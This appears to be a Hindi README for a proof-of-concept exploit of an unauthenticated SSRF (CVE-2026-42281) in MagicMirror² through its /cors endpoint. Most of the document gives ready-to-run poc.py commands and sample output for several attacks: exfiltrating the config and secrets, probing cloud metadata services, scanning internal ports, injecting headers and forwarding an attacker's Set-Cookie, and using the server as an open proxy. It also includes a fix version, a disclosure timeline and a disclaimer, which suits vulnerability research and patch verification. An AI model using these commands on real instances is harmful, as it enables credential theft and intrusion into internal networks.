
CVE-2026-42281 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, MagicMirror² ≤ 2.35.0 में एक अनप्रमाणित SSRF, जो कॉन्फ़िग एक्सफ़िल्ट्रेशन, क्लाउड मेटाडेटा प्रोबिंग और आंतरिक नेटवर्क स्कैनिंग को सक्षम बनाता है।
/cors एंडपॉइंट के माध्यम से बिना प्रमाणीकरण के SSRF
खोज एवं रिपोर्ट: Astaruf
पूर्ण विवरण: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/
अपस्ट्रीम सलाह: MagicMirrorOrg/MagicMirror सुरक्षा सलाह
NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/CVE-2026-42281
यह रिपॉजिटरी CVE-2026-42281 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट होस्ट करता है, जो MagicMirror² ≤ 2.35.0 में एक बिना प्रमाणीकरण वाला SSRF है जो /cors एंडपॉइंट को लूपबैक, आंतरिक नेटवर्क और क्लाउड मेटाडेटा सेवाओं तक पहुँचने वाले पूर्ण रूप से कार्यशील SSRF प्रॉक्सी में बदल देता है। hideConfigSecrets: true के साथ, वही एंडपॉइंट एक ही अनुरोध में process.env.SECRET_* मान भी बाहर निकाल देता है।
पूर्ण कोड समीक्षा, भेद्यता विश्लेषण, फिक्स विवरण, CVSS विवाद और समयरेखा के लिए, nstsec.com पर पूर्ण विवरण देखें। यह README PoC का उपयोग कैसे करें पर केंद्रित है।
# 1. सत्यापित करें कि लक्ष्य भेद्य है
python3 poc.py -t http://target:8080 --check
# 2. एप्लिकेशन कॉन्फ़िगरेशन बाहर निकालें (स्वचालित गुप्त खोज के साथ)
python3 poc.py -t http://target:8080 --config
# 3. 10+ प्रदाताओं पर क्लाउड मेटाडेटा सेवाओं की जाँच करें
python3 poc.py -t http://target:8080 --cloud
# 4. SSRF के माध्यम से आंतरिक नेटवर्क पोर्ट स्कैन
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379
# 5. इनबाउंड/आउटबाउंड हेडर दुरुपयोग प्रदर्शित करें
python3 poc.py -t http://target:8080 --headers
# 6. सर्वर को सामान्य ओपन प्रॉक्सी के रूप में उपयोग करें
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api
| फ़्लैग | विवरण |
|---|---|
--check | /version के लूपबैक फ़ेच के माध्यम से SSRF शोषण योग्य है या नहीं सत्यापित करें |
--config | लूपबैक पर /config का SSRF करें, JSON पार्स करें, मॉड्यूल कॉन्फ़िगरेशन में API कुंजी / टोकन / पासवर्ड खोजें |
--cloud | AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix में मेटाडेटा सेवाओं की जाँच करें; AWS IAM भूमिका गणना का स्वतः अनुसरण करें |
--port-scan HOSTS | एक या अधिक होस्ट स्कैन करें (-p 22,80 / -p 0-1024 / -p - सभी 65535 पोर्ट के लिए), थ्रेडेड |
--headers | भाग A: sendheaders के माध्यम से आउटबाउंड अनुरोध में Authorization/X-* हेडर इंजेक्ट करें। भाग B: expectedheaders के माध्यम से दुर्भावनापूर्ण ओरिजिन से पीड़ित ब्राउज़र तक हमलावर-नियंत्रित Set-Cookie अग्रेषित करें |
--open-proxy URL | किसी भी URL पर सामान्य SSRF GET, प्रतिक्रिया बॉडी प्रिंट करता है (आंतरिक HTTP API का पता लगाने के लिए उपयोगी) |
| विकल्प | डिफ़ॉल्ट | विवरण |
|---|---|---|
-t / --target | आवश्यक | लक्ष्य URL, जैसे http://192.168.1.10:8080 |
--timeout | 2.0 | प्रति-अनुरोध टाइमआउट सेकंड में |
--threads | 30 | --port-scan के लिए थ्रेड |
--verbose | बंद | पूर्ण JSON प्रतिक्रियाएँ प्रिंट करें (और बिना संपादित क्लाउड-मेटाडेटा बॉडी) |
1. PoC बैनर और SSRF की पुष्टि करने वाला --check मोड:
$ python3 poc.py -t http://127.0.0.1:8080 --check
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██████╗ █████╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ╚════██╗ ╚════██╗ ██╔══██╗ ███║
██║ ██║ ██║█████╗ -2026- ███████║ █████╔╝ █████╔╝ ╚█████╔╝ ╚██║
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██╔═══╝ ██╔═══╝ ██╔══██╗ ██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ███████╗ ███████╗ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚════╝ ╚═╝
MagicMirror² <= v2.35.0 — /cors एंडपॉइंट के माध्यम से बिना प्रमाणीकरण के SSRF
लेखक: Astaruf | https://nstsec.com
CHECK, लक्ष्य पहुँच और SSRF पुष्टि
[*] लक्ष्य पहुँच सत्यापित किया जा रहा है ...
[+] लक्ष्य पहुँच योग्य, MagicMirror 2.35.0
[*] लूपबैक के माध्यम से SSRF की पुष्टि ...
>> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
[+] SSRF पुष्टि हुई, सर्वर ने हमारी ओर से आंतरिक संसाधन प्राप्त किया
<< 2.35.0
2. --config एप्लिकेशन कॉन्फ़िगरेशन बाहर निकालता है और मॉड्यूल कॉन्फ़िगरेशन में गुप्त जानकारी स्वतः खोजता है:
CONFIG EXFILTRATION, SSRF लूपबैक के माध्यम से पूर्ण कॉन्फ़िगरेशन
[+] कॉन्फ़िगरेशन प्राप्त हुआ, 1194 बाइट्स
[*] address : 0.0.0.0
[*] port : 8080
[*] ipWhitelist: [] सभी IP के लिए खुला
SECRETS FOUND:
[weather] apiKey = ow_demo_api_key_d34db33fc4f3b4b3
[calendar] calendars[0].auth.pass = S3cretCalendarPa$$word!
[newsfeed] accessToken = sk-newsfeed-bearer-T0kEn-xyz789
3. --headers आउटबाउंड इंजेक्शन और इनबाउंड फ़ॉरवर्डिंग की पुष्टि करता है:
HEADER INJECTION, आउटबाउंड और इनबाउंड हेडर दुरुपयोग
[*] भाग A: sendheaders के माध्यम से आउटबाउंड अनुरोधों में मनमाने हेडर इंजेक्ट करना
[+] हेडर X-Injected-By: SSRF-PoC आउटबाउंड अनुरोध में पुष्टि हुई
[+] हेडर Authorization: Bearer DEMO_TOKEN आउटबाउंड अनुरोध में पुष्टि हुई
[*] भाग B: expectedheaders के माध्यम से ब्राउज़र तक प्रतिक्रिया हेडर अग्रेषित करना
[+] प्रतिक्रिया हेडर Set-Cookie ब्राउज़र को अग्रेषित: session=hijacked;HttpOnly
[+] ब्राउज़र इस कुकी को प्राप्त करता है जैसे कि यह MagicMirror डोमेन से उत्पन्न हुई हो
4. --open-proxy सर्वर से आउटबाउंड HTTP की पुष्टि करता है:
OPEN PROXY, भेद्य सर्वर के माध्यम से https://httpbin.org/ip प्राप्त करना
[+] HTTP 200, सर्वर से 32 बाइट्स प्राप्त हुए
{
"origin": "<सर्वर का सार्वजनिक IP, हमलावर का नहीं>"
}
--check (और हर अन्य मोड) http://127.0.0.1:<port>/version पर SSRF लूपबैक भेजता है। Docker के माध्यम से परीक्षण करते समय, सुनिश्चित करें कि होस्ट पोर्ट कंटेनर के अंदर के पोर्ट से मेल खाता है (जैसे 8080:8080 मैप करें, 8081:8080 नहीं), अन्यथा लूपबैक लक्ष्य कंटेनर के अंदर से हल नहीं होगा, भले ही इंस्टेंस वास्तव में भेद्य हो।--cloud कोई हिट उत्पन्न नहीं करता — यह अपेक्षित है और स्क्रिप्ट इसे स्पष्ट रूप से रिपोर्ट करती है। वेक्टर मौजूद है; इसका परीक्षण करने के लिए वास्तविक क्लाउड डिप्लॉयमेंट की आवश्यकता होती है।MagicMirror² v2.36.0 में शामिल (30 अप्रैल, 2026 को जारी)। फिक्स छह PR (#4084, #4087, #4090, #4091, #4102, #4104) में स्तरित है। प्रति-PR विवरण, कोड स्निपेट और पैच किए गए संस्करण के खिलाफ पुनः परीक्षण किए गए बायपास प्रयासों के सत्यापन मैट्रिक्स के लिए पूर्ण विवरण देखें।
| दिनांक | घटना |
|---|---|
| 2026-03-30 | भेद्यता खोजी गई, सार्वजनिक मुद्दा खोला गया, अनुरक्षक को ईमेल भेजा गया |
| 2026-03-31 | अनुरक्षक ने रिपोर्ट स्वीकार की |
| 2026-04-01 | अनुरक्षकों ने SECURITY.md जोड़ा और रिपॉजिटरी पर GitHub सुरक्षा सलाह सक्षम की |
| 2026-04-09 | औपचारिक GHSA सलाह खोली गई |
| 2026-04-26 | अगले रिलीज़ के लिए फिक्स की पुष्टि। CVE-2026-42281 GitHub द्वारा निर्धारित |
| 2026-04-26 | CVSS विवाद — वेक्टर मध्यम से 9.2 क्रिटिकल तक बढ़ाया गया (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N) |
| 2026-04-30 | MagicMirror² v2.36.0 जारी, फिक्स सार्वजनिक रूप से भेजा गया |
| 2026-05-04 | सार्वजनिक प्रकटीकरण (विवरण + PoC रिपॉजिटरी) |
यह सामग्री अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान की गई है। इसका उपयोग केवल उन MagicMirror² इंस्टेंस के खिलाफ करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेता है।